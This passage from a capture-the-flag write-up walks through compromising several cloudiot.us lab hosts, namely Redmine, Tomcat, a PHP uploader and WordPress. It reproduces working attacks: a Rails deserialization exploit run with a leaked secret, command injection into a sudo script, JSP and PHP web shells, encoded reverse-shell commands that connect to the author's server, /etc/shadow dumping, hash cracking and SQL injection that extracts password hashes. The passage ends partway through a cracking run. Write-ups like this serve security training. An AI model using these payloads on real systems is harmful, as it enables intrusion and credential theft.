| /projects/find-out-who-s-been-stealing-my-lunch-from-the-breakroom-fridge/activity /projects/should-we-downgrade-all-our-ssh-servers-to-telnet-and-save-on-compute-resources/repository
| /projects/should-we-downgrade-all-our-ssh-servers-to-telnet-and-save-on-compute-resources/issues /projects/should-we-downgrade-all-our-ssh-servers-to-telnet-and-save-on-compute-resources/activity
| /projects/figure-out-how-to-use-github/repository /projects/figure-out-how-to-use-github/issues
| /projects/figure-out-how-to-use-github/activity /projects/new-blog/repository
|_/projects/new-blog/issues /projects/new-blog/activity
|_http-server-header: WEBrick/1.3.1 (Ruby/2.2.4/2015-12-16)
|_http-title: Redmine
...

Besides the FTP server, there is a WEBrick web server running on the target server on port 3000. WEBrick is a Ruby application server and we know that Ruby 2.2.4 is running based on the returned Server HTTP response header. When we visit http://proxy-west.cloudiot.us:3000/, the server presents us with a login screen for the Redmine project management web application. Redmine should look familiar since there was a repository in the cloudiot-us GitHub with the same name so we likely have the source code and configuration files for this project here. After browsing around the source code it is clear that this web application is based on the Ruby on Rails framework.

One common way of exploiting a Ruby on Rails web application is to acquire the secret_token or secret_key_base value which is used to sign the session cookie that is actually a Ruby serialized object. If we know this secret value we can craft a serialized object that when deserialized by the server will execute arbitrary code. The secret_token can be found in github here.

RedmineApp::Application.config.secret_token = 'Ha!.gitignoreI$4l0s3rs!!!!!111iii!!!'

Now that we have the secret value let’s use the Metasploit rails_secret_deserialization module to exploit the web application. Make sure to set the proper LHOST and LPORT to point to your attacking server.

msf > use exploit/multi/http/rails_secret_deserialization
msf exploit(multi/http/rails_secret_deserialization) > set RHOST 68.183.170.188
RHOST => 68.183.170.188
msf exploit(multi/http/rails_secret_deserialization) > set RPORT 3000
RPORT => 3000
msf exploit(multi/http/rails_secret_deserialization) > set SECRET Ha!.gitignoreI$4l0s3rs!!!!!111iii!!!
SECRET => Ha!.gitignoreI$4l0s3rs!!!!!111iii!!!
msf exploit(multi/http/rails_secret_deserialization) > run

[*] Started reverse TCP handler on 172.31.33.192:4444
[*] Checking for cookie
[*] Adjusting cookie name to _redmine_session
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _redmine_session
[*] Exploit completed, but no session was created.
msf exploit(multi/http/rails_secret_deserialization) > set LHOST 52.32.7.126
LHOST => 52.32.7.126
msf exploit(multi/http/rails_secret_deserialization) > run

[-] Handler failed to bind to 52.32.7.126:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Checking for cookie
[*] Adjusting cookie name to _redmine_session
[+] SECRET matches! Sending exploit payload
[*] Sending cookie _redmine_session
[*] Command shell session 1 opened (172.31.33.192:4444 -> 68.183.170.188:44806) at 2019-02-12 17:36:45 +0000

$ id
uid=999(redmine) gid=999(redmine) groups=999(redmine)

Ok great, we have a shell. Let’s grab the foothold flag.

$ ls
CONTRIBUTING.md
Gemfile
Gemfile.lock
HERES_A_SHINY_FLAG_FOR_YOU.txt
README.rdoc
Rakefile
app
config
config.ru
db
doc
extra
files
lib
log
plugins
public
script
sqlite
test
tmp
vendor

$ cat HERES_A_SHINY_FLAG_FOR_YOU.txt
bREKTf@stS3ri4L

Redmine - Root

Let’s check if the redmine user can use the sudo command to execute commands as another user.

sudo -l
Matching Defaults entries for redmine on 7938c8b2641e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User redmine may run the following commands on 7938c8b2641e:
(root) NOPASSWD: /bin/etail

Looks like we can execute a single Ruby shell script as the root user. The /bin/etail script appears to allow an unprivileged user to view the /var/log/dmesg file, which contains kernel logs.

$ cat /bin/etail
#!/usr/local/bin/ruby
# Enhanced secure tail script for reading logs

require 'rbconfig'
require 'optparse'

$allowed = ["/var/log/dmesg"]

$is_valid = false
file = ""
tail_arg = false

options = {}

def sanitize_input(input)
$allowed.each do |val|
if input == (val)
$is_valid = true
else

end
end

if $is_valid
return input
else
end
end

OptionParser.new do |opts|
opts.on("--file VALUE", "File to tail") do |value|
file = sanitize_input(value)
end

opts.on("--args VALUE", "Tail arguments") do |value|
tail_arg = value
end
end.parse!

if $is_valid
if tail_arg
final_value = "/usr/bin/tail -#{tail_arg} #{file}"
else
final_value = "/usr/bin/tail #{file}"
end

system(final_value)
else
puts "Error: Security violation detected"
end

The script accepts two command line arguments: a file argument, which determines which file should be opened, and an argument that will be passed to the tail command. While the script performs input validation on the file argument since it should be set to /var/log/dmesg, the script does not perform input validation on the “tail” argument. Therefore untrusted data eventually reaches the Ruby system function, so this is a classic example of OS command injection in a shell script that can lead to privilege escalation.

Let’s test out this theory by invoking etail using sudo with a file argument of /var/log/dmesg and a “tail” argument of abc; touch /tmp/junk; which should cause the /tmp/junk file to be created by the root user.

$ sudo etail --file /var/log/dmesg --args "abc; touch /tmp/junk; "
/usr/bin/tail: invalid option -- 'a'
Try '/usr/bin/tail --help' for more information.
sh: 1: /var/log/dmesg: Permission denied

$ ls -al /tmp/junk
-rw-r--r-- 1 root root    0 Dec 14 15:58 junk

Great, that appears to work. Now let’s inject in some commands to grab the root flag.

$ sudo etail --file /var/log/dmesg --args "abc; cp /root/* /tmp; "
/usr/bin/tail: invalid option -- 'a'
Try '/usr/bin/tail --help' for more information.
sh: 1: /var/log/dmesg: Permission denied

$ ls -al /tmp
total 12
drwxrwxrwt 1 root root 4096 Dec 14 15:59 .
drwxr-xr-x 1 root root 4096 Dec 14 06:25 ..
-rw-r--r-- 1 root root    0 Dec 14 15:58 junk
-rwxr-xr-x 1 root root   18 Dec 14 15:59 pwnd.txt

$ cat /tmp/pwnd.txt
b4s3d0nATRu$t0rie

Tomcat

Tomcat - Foothold

After a TCP port scan of proxy-east.cloudiot.us, we find an Apache Tomcat application server running on port 8080.

$ nmap -sV -sC -p- proxy-east.cloudiot.us
...
PORT      STATE    SERVICE  VERSION
...
8080/tcp  open     http     Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Site doesn't have a title (text/html;charset=UTF-8).
...

Tomcat is a Java application server that allow Java-based web application and services to be deployed ontop of it. If we can gain access to the management console we will be able to upload our own malicious WAR files to gain code execution. The manager application is located at the following URL.

http://proxy-east.cloudiot.us:8080/manager

Visiting that URL prompts the user to provide credentials via basic access authentication. I used the tomcat_mgr_login Metasploit module to find the correct credentials (tomcat / s3cret) and then the tomcat_mgr_upload module to gain a shell.

msf > use exploit/multi/http/tomcat_mgr_upload
msf exploit(tomcat_mgr_upload) > set rhost 68.183.175.185
msf exploit(tomcat_mgr_upload) > set rport 8080
msf exploit(tomcat_mgr_upload) > set HttpUsername tomcat
msf exploit(tomcat_mgr_upload) > set HttpPassword s3cret
msf exploit(tomcat_mgr_upload) > exploit

Now we can grab the foothold flag in the home directory.

meterpreter > ls
Listing: /home/deployme
=======================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100667/rw-rw-rwx  220   fil   2014-04-09 01:03:15 +0000  .bash_logout
100667/rw-rw-rwx  3637  fil   2014-04-09 01:03:15 +0000  .bashrc
100667/rw-rw-rwx  675   fil   2014-04-09 01:03:15 +0000  .profile
100444/r--r--r--  18    fil   2018-12-02 01:36:32 +0000  foothold.txt
100554/r-xr-xr--  141   fil   2018-12-02 01:35:53 +0000  run.sh

meterpreter > cat foothold.txt
WARw4t1$1tGuDf0R?

Tomcat - Foothold (Without using Metasploit)

It is worthwhile to understand how to exploit an exposed Tomcat manager console without using Metasploit. All we need to do is craft a malicious WAR file that contains a JSP web shell in it. Create a new directory and create the webshell first, which is just a simple JSP file that accept a cmd HTTP request parameter and executes as an OS command via the java.lang.Runtime class.

$ cat cmd.jsp
<%@ page import="java.util.*,java.io.*"%>
<HTML>
<TITLE>JSP Shell</TITLE>
<BODY>
<pre>
<%
if (request.getParameter("cmd") != null) {
  out.println("Command: " + request.getParameter("cmd") + "<BR>");
  Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
  OutputStream os = p.getOutputStream();
  InputStream in = p.getInputStream();
  DataInputStream dis = new DataInputStream(in);
  String disr = dis.readLine();
  while(disr != null ) {
    out.println(disr);
    disr = dis.readLine();
  }
}
%>
</pre>
</BODY></HTML>

Next create the web.xml file for the WAR file in a WEB-INF directory. The web.xml file is a deployment descriptor file that defines how URLs map to Java servlets.

$ cat WEB-INF/web.xml
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>

Then we use the jar command to create the WAR file, which is just a JAR file, which is just a zip file.

$ jar -cvf ../cmd.war *
added manifest
adding: WEB-INF/(in = 0) (out= 0)(stored 0%)
adding: WEB-INF/web.xml(in = 341) (out= 189)(deflated 44%)
adding: cmd.jsp(in = 525) (out= 287)(deflated 45%)

Now its time to deploy the WAR file. Log into the Tomcat management console and under the “WAR file to deploy” section select the WAR file from your filesystem and click on the deploy button. If all goes well, then we should be able to execute arbitrary commands by visiting the following URL.

http://proxy-east.cloudiot.us:8080/cmd/cmd.jsp?cmd=id

You should see the following output on the page.

Command: id

uid=1000(deployme) gid=1000(deployme) groups=1000(deployme),27(sudo)

Now its time to setup a reverse shell, from your attacking machine, execute the following command to catch the shell.

# nc -lvp 80

Next execute a command via the web shell to setup the reverse shell. Change the IP address and port to your attacking server’s IP address and port.

http://proxy-east.cloudiot.us:8080/cmd/cmd.jsp?cmd=%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%63%47%56%79%62%43%41%74%5a%53%41%6e%64%58%4e%6c%49%46%4e%76%59%32%74%6c%64%44%73%6b%61%54%30%69%4e%54%49%75%4d%7a%49%75%4e%79%34%78%4d%6a%59%69%4f%79%52%77%50%54%67%77%4f%33%4e%76%59%32%74%6c%64%43%68%54%4c%46%42%47%58%30%6c%4f%52%56%51%73%55%30%39%44%53%31%39%54%56%46%4a%46%51%55%30%73%5a%32%56%30%63%48%4a%76%64%47%39%69%65%57%35%68%62%57%55%6f%49%6e%52%6a%63%43%49%70%4b%54%74%70%5a%69%68%6a%62%32%35%75%5a%57%4e%30%4b%46%4d%73%63%32%39%6a%61%32%46%6b%5a%48%4a%66%61%57%34%6f%4a%48%41%73%61%57%35%6c%64%46%39%68%64%47%39%75%4b%43%52%70%4b%53%6b%70%4b%58%74%76%63%47%56%75%4b%46%4e%55%52%45%6c%4f%4c%43%49%2b%4a%6c%4d%69%4b%54%74%76%63%47%56%75%4b%46%4e%55%52%45%39%56%56%43%77%69%50%69%5a%54%49%69%6b%37%62%33%42%6c%62%69%68%54%56%45%52%46%55%6c%49%73%49%6a%34%6d%55%79%49%70%4f%32%56%34%5a%57%4d%6f%49%69%39%69%61%57%34%76%63%32%67%67%4c%57%6b%69%4b%54%74%39%4f%79%63%3d%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d

Nice, we acquired a shell and can now grab the foothold flag.

# nc -lvp 80
listening on [any] 80 ...
157.230.164.56: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [157.230.164.56] 36540
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(deployme) gid=1000(deployme) groups=1000(deployme),27(sudo)
$ ls /home/deployme
foothold.txt
run.sh
$ cat /home/deployme/foothold.txt
WARw4t1$1tGuDf0R?

Tomcat - Root

After catching the shell, use Python to upgrade the shell.

$ python -c 'import pty; pty.spawn("/bin/bash")'
deployme@d3a81cb6e3fa:/$

Next we run the LinEnum tool to look for any interesting files that could be abused for privilege escalation. In this case the setuid binaries look interesting.

deployme@d3a81cb6e3fa:/tmp$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o le.sh
<ercontent.com/rebootuser/LinEnum/master/LinEnum.sh -o le.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 45639  100 45639    0     0   267k      0 --:--:-- --:--:-- --:--:--  268k
deployme@d3a81cb6e3fa:/tmp$ chmod +x le.sh
chmod +x le.sh
deployme@d3a81cb6e3fa:/tmp$ ./le.sh -t
...
[-] SUID files:
-rwsr-xr-x 1 root root 10344 Jul 28  2014 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
-rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
-rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 155008 Feb 10  2014 /usr/bin/sudo
-rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
-rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
-rwsr-xr-x 1 root root 47904 Jan 21 19:45 /usr/bin/moar
-rwsr-xr-x 1 root root 69120 Jun  3  2014 /bin/umount
-rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 94792 Jun  3  2014 /bin/mount
...

Specifically the /usr/bin/moar does not look like a standard Linux command and is worth investigating further. If you aren’t sure what are the standard setuid binaries for a specific Linux distro then just download the distro, set it up as virtual machine, find all the setuid/setgid binaries (find / -perm -g=s -o -perm -u=s -type f 2>/dev/null), and then compare the binaries on your VM to the target machine.

$ file /usr/bin/moar
/usr/bin/moar: setuid ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=950f866ca2bc042f9ca643e1af0fde0e0c029dc3, stripped

After playing around with the moar command it seems to operate similar to the more command, so we can use it as an unprivileged user to view any file on the system. My first attempt was to try to view the /root/flag.txt directly but the file doesn’t exist so we need to figure out a different strategy. We can use the moar command to view the /etc/shadow file.

$ /usr/bin/moar /etc/shadow
root:*:16273:0:99999:7:::
daemon:*:16273:0:99999:7:::
bin:*:16273:0:99999:7:::
sys:*:16273:0:99999:7:::
sync:*:16273:0:99999:7:::
games:*:16273:0:99999:7:::
man:*:16273:0:99999:7:::
lp:*:16273:0:99999:7:::
mail:*:16273:0:99999:7:::
news:*:16273:0:99999:7:::
uucp:*:16273:0:99999:7:::
proxy:*:16273:0:99999:7:::
www-data:*:16273:0:99999:7:::
backup:*:16273:0:99999:7:::
list:*:16273:0:99999:7:::
irc:*:16273:0:99999:7:::
gnats:*:16273:0:99999:7:::
nobody:*:16273:0:99999:7:::
libuuid:!:16273:0:99999:7:::
syslog:*:16273:0:99999:7:::
deployme:$1$XWcv3NN1$olCXzA8jLuMobn83CDBov1:17867:0:99999:7:::

There is no root password hash, but we can crack the deployme account’s password using john.

$ john -w=/usr/share/wordlists/rockyou.txt deploy_pass.txt 
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
catalina         (deployme)
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now that we know the deployme user’s password we can use sudo to execute arbitrary commands as root.

$ sudo -l
sudo -l
[sudo] password for deployme: catalina

Matching Defaults entries for deployme on d3a81cb6e3fa:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User deployme may run the following commands on d3a81cb6e3fa:
    (ALL : ALL) ALL

Let’s grab the root flag next, which is located at /root/root.txt.

$ sudo ls /root
root.txt
$ sudo cat /root/root.txt

H0wDoUli3kI7?

Uploader

Uploader - Foothold

The cloudiot blog mentions a new Secure File Uploader.

We’re excited to introduce our brand-new Secure File Uploader!

Go check out our demo instance over at: http://proxy-east.cloudiot.us

Going to http://proxy-east.cloudiot.us/, we notice a file upload form.

First, just upload a simple text file (hello.txt) in order to see what the web application does. After uploading the text file, the web application provides us the following text, which implies that the web application stored our uploaded content under a file with a random name and a PHP extension within the web root (/files/VYZXTp6Wmu.php).

Sent file: proxy-east.cloudiot.us/files/VYZXTp6Wmu.php
File size: 5
File type: text/plain

Given that the uploaded file is stored as a PHP file within the web root, let’s create a simple PHP webshell named shell.txt and upload that text file.

<?php
system($_GET["c"])
?>

Again, the web application provides us the following text, which implies that the upload was successful.

Sent file: proxy-east.cloudiot.us/files/95vrKcjk41.php
File size: 27
File type: text/plain 

Next, we visit the uploaded file (http://proxy-east.cloudiot.us/files/95vrKcjk41.php?c=id) and ask the webshell to execute the id command.

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Success. Having a web shell is nice, but let’s setup a reverse shell. From your attacking machine, setup netcat to catch the shell.

# nc -lvp 80

Next, build and execute a reverse shell command based on the IP address and port used by your attacking server. Check out pentestmonkey for various examples.

http://proxy-east.cloudiot.us/files/95vrKcjk41.php?c=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%35%32%2e%33%32%2e%37%2e%31%32%36%20%38%30%20%3e%2f%74%6d%70%2f%66

After catching the shell, use Python to upgrade the shell.

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@e92d4e54145a:/var/www/html/files$

At this point we can easily look around the filesystem as the www-data user and find the foothold flag.

www-data@e92d4e54145a:/var/www/html/files$ ls -al
ls -al
total 24
drwxrwxrwx 1 www-data www-data 4096 Jan  9 21:37 .
drwxrwxrwx 1 www-data www-data 4096 Dec  5 18:33 ..
-rw-r--r-- 1 www-data www-data   27 Jan  9 21:37 95vrKcjk41.php
-rw-r--r-- 1 www-data www-data    5 Jan  9 21:29 VYZXTp6Wmu.php
-rw-r--r-- 1 root     root      624 Dec  5 05:36 foothold-README.txt
www-data@e92d4e54145a:/var/www/html/files$ cat foothold-README.txt
cat foothold-README.txt
# Good job!  So you figured out how to get a webshell, huh?
# Did you use one of the ones from the /usr/share/webshells/php/
# directory in Kali or find one on the internet?
#
# Unfortunately, you're running commands as the "www-data" service
# account, so your rights on the system are a little more restricted.
# But Bob has more privileges...and a pretty weak password!
#
# Have a look around the system and see if you can find his SSH
# password.  Once you do, login as him via SSH (for this challenge,
# it's on port 2022).

# Oh! And here's your Foothold 1 flag for making it this far!

urG0nnaMa3k17aFter@LL

Uploader - Root

The foothold hint implies that the bob user has higher privileges than the www-data user and has a weak password. Before trying to brute force random network services, let’s look through the filesystem to see if the bob user left any interesting files in his home directory.

www-data@e92d4e54145a:/var/www/html/files$ ls -al /home/bob
ls -al /home/bob
total 28
drwxr-xr-x 1 bob  bob  4096 Dec  5 17:19 .
drwxr-xr-x 1 root root 4096 Dec  5 17:14 ..
-rw-r--r-- 1 bob  bob   220 Nov  5  2016 .bash_logout
-rw-r--r-- 1 bob  bob  3515 Nov  5  2016 .bashrc
-rw-r--r-- 1 bob  bob   675 Nov  5  2016 .profile
-rw-r--r-- 1 bob  bob    69 Dec  5 05:53 notes.txt
drwx------ 1 bob  bob  4096 Dec  5 17:19 private

Bingo, we find a password in the /home/bob/notes.txt file.

www-data@e92d4e54145a:/var/www/html/files$ cat /home/bob/notes.txt
cat /home/bob/notes.txt
1. Security first!
2. Don't forget your password, it's "password123"

Now log into the system using SSH as the bob user using the acquired password.

$ ssh -p 2022 bob@proxy-east.cloudiot.us
The authenticity of host '[proxy-east.cloudiot.us]:2022 ([68.183.175.185]:2022)' can't be established.
ECDSA key fingerprint is SHA256:OhrXqVU9whuQoUYndAKayhdIlYx0VNwVBQL7HaqgJRU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[proxy-east.cloudiot.us]:2022,[68.183.175.185]:2022' (ECDSA) to the list of known hosts.
bob@proxy-east.cloudiot.us's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
bob@e92d4e54145a:~$ id
uid=1000(bob) gid=1000(bob) groups=1000(bob),27(sudo)

Let’s check if the bob user can use the sudo command to execute commands as another user.

$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for bob:
Matching Defaults entries for bob on e92d4e54145a:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User bob may run the following commands on e92d4e54145a:
    (ALL : ALL) ALL

(ALL : ALL) ALL means that the bob user can execute commands from any terminal, act as any user, and run any command. So the bob user can run any command as the root user. Time to grab the root flag!

bob@e92d4e54145a:~$ sudo id
uid=0(root) gid=0(root) groups=0(root)
bob@e92d4e54145a:~$ sudo cat /root/flag.txt
# Congratulations! You can also try cracking root's password for bonus points.
#
# Now get out there and root all the other boxes!

BurN1ngUp!!11

WordPress

WordPress - Foothold

The CTF rules stated that we should start our journey by looking at http://www.cloudiot.us, which appears to be a WordPress blog. Identifying a WordPress blog is usually easy by looking for WordPress references in the website’s text.

Powered by WordPress

Or in the HTML content.

<meta name="generator" content="WordPress 4.9.9" />

Anytime you encounter a Wordpress blog you should run WPScan against it since the tool will help you quickly enumerate the plugins used and any known public vulnerabilities in either WordPress itself or in the third-party plugins used.

$ wpscan --url http://www.cloudiot.us/
_______________________________________________________________
        __          _______   _____
        \ \        / /  __ \ / ____|
         \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
          \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
           \  /\  /  | |     ____) | (__| (_| | | | |
            \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                       Version 3.4.1
          Sponsored by Sucuri - https://sucuri.net
      @_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
_______________________________________________________________

[i] Updating the Database ...
[i] Update completed.

[+] URL: http://www.cloudiot.us/

Interesting Finding(s):

[+] http://www.cloudiot.us/
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.1.25
 |  - Flag: GudUs30fPr0X1es
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://www.cloudiot.us/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] http://www.cloudiot.us/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.9.9 identified (Latest, released on 2018-12-13).
 | Detected By: Emoji Settings (Passive Detection)
 |  - http://www.cloudiot.us/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.9'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://www.cloudiot.us/, Match: 'WordPress 4.9.9'

[+] WordPress theme in use: northern-clouds
 | Location: http://www.cloudiot.us/wp-content/themes/northern-clouds/
 | Latest Version: 2.0 (up to date)
 | Last Updated: 2017-09-08T00:00:00.000Z
 | Readme: http://www.cloudiot.us/wp-content/themes/northern-clouds/readme.txt
 | Style URL: http://www.cloudiot.us/wp-content/themes/northern-clouds/style.css?ver=4.9.9
 | Style Name: Northern-Clouds
 | Style URI: http://www.northern-web-coders.de/blog/archiv/2012/05/01/northern-clouds-theme/
 | Description: Northern-Clouds is a responsive HTML5/CSS3 theme. It uses an Ubuntu font. A horizontal version of 'S...
 | Author: Kai Ackermann
 | Author URI: http://www.design-coding.de
 |
 | Detected By: Css Style (Passive Detection)
 |
 | Version: 2.0 (80% confidence)
 | Detected By: Style (Passive Detection)
 |  - http://www.cloudiot.us/wp-content/themes/northern-clouds/style.css?ver=4.9.9, Match: 'Version: 2.0'

[+] Enumerating All Plugins
[+] Checking Plugin Versions

[i] Plugin(s) Identified:

[+] wp-survey-and-poll
 | Location: http://www.cloudiot.us/wp-content/plugins/wp-survey-and-poll/
 | Last Updated: 2018-10-19T20:12:00.000Z
 | [!] The version is out of date, the latest version is 1.5.7.9
 |
 | Detected By: Urls In Homepage (Passive Detection)
 |
 | Version: 1.5.7.8 (50% confidence)
 | Detected By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.cloudiot.us/wp-content/plugins/wp-survey-and-poll/readme.txt

[+] Enumerating Config Backups
 Checking Config Backups - Time: 00:00:01 <==================================================> (21 / 21) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] Requests Done: 72
[+] Cached Requests: 5
[+] Data Sent: 13.843 KB
[+] Data Received: 19.602 MB
[+] Memory used: 66.418 MB
[+] Elapsed time: 00:00:07

In this case, WPScan did find a plugin named “WordPress Survey & Poll” in use, but it didn’t find any vulnerabilities associated with it, but a quick Google search finds a SQL injection vulnerability associated with this plugin.

According to the vulnerability details we need to first answer a poll question. First go to http://www.cloudiot.us/2018/12/12/survey/ and respond to the survey while using a web proxy to intercept all the HTTP traffic.

Reload the survey page, intercept the HTTP request, and you should notice a new cookie being submitted.

Cookie: wp_sap=%5B%22482794520%22%5D;

As per the vulnerability details, change the URL encoded JavaScript array that contains the survey identifier (["482794520"]) in the Cookie HTTP request header to ["482794520')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"], and replay the HTTP request to the survey page. The example payload appears to use a simple union-based injection to extract out the version of MySQL used.

GET /2018/12/12/survey/ HTTP/1.1
Host: www.cloudiot.us
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp_sap=%5b%22%34%38%32%37%39%34%35%32%30%27%29%29%20%4f%52%20%31%3d%32%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%40%40%76%65%72%73%69%6f%6e%2c%31%31%23%22%5d; wp-settings-1=libraryContent%3Dbrowse%26hidetb%3D1%26editor%3Dtinymce; wp-settings-time-1=1544984155; ikVyK_PZbvRpeQ=SjUgfArOYMHE%5Bu; cZbDswm=a6Xu5vR
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

HTTP/1.1 200 OK
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.1.25
Link: <http://www.cloudiot.us/wp-json/>; rel="https://api.w.org/"
Link: <http://www.cloudiot.us/?p=10>; rel=shortlink
Vary: Accept-Encoding
Flag: GudUs30fPr0X1es
Content-Length: 14151
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
...
[Content removed for brevity]
...
<script type='text/javascript'>
/* <![CDATA[ */
var sss_params = {"survey_options":"{\"options\":\"3\",\"plugin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"9\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"5.7.24\"]]}"};
...

Ok cool, looks like it worked since 5.7.24 appears in the HTTP response and 5.7.24 is a recent version of MySQL. Using the same technique let’s figure out which databases exist.

(SQL injection payload)

["482794520')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,schema_name,11 FROM information_schema.schemata#"]

(Server generated JavaScript)

var sss_params = {"survey_options":"{\"options\":\"3\",\"plugin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"9\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"information_schema\"],[\"wordpress\"]]}"};

Big surprise, there is a database named wordpress. At this point we would normally enumerate the database metadata further to figure out all of the tables and columns in the target database, but this is WordPress so we already know the structure of the database, so let’s grab all the usernames and password hashes next.

(SQL injection payload)

["482794520')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,CONCAT(user_login,':',user_pass),11 FROM wordpress.wp_users#"]

(Server generated JavaScript)

var sss_params = {"survey_options":"{\"options\":\"3\",\"plugin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-content\\\/plugins\\\/wp-survey-and-poll\",\"admin_url\":\"http:\\\/\\\/www.cloudiot.us\\\/wp-admin\\\/admin-ajax.php\",\"survey_id\":\"9\",\"style\":\"modal\",\"expired\":\"false\",\"debug\":\"true\",\"questions\":[[\"admin:$P$Bn5Pxk1hLy8fafdSpl3dDrJtQ4YxME1\"],[\"bob:$P$BQ42oBPbXuDUBaBwUC3kuHDNPstJEl\\\/\"],[\"eve:$P$BpO5xJ4tLlDga\\\/87AuwxBcrmhPpGJT\\\/\"]]}"};

We’ve acquired multiple password hashes via SQL injection. Let’s crack the admin password hash using john.

$ john -w=/usr/share/wordlists/rockyou.txt wp_pass.txt 
Using default input encoding: UTF-8
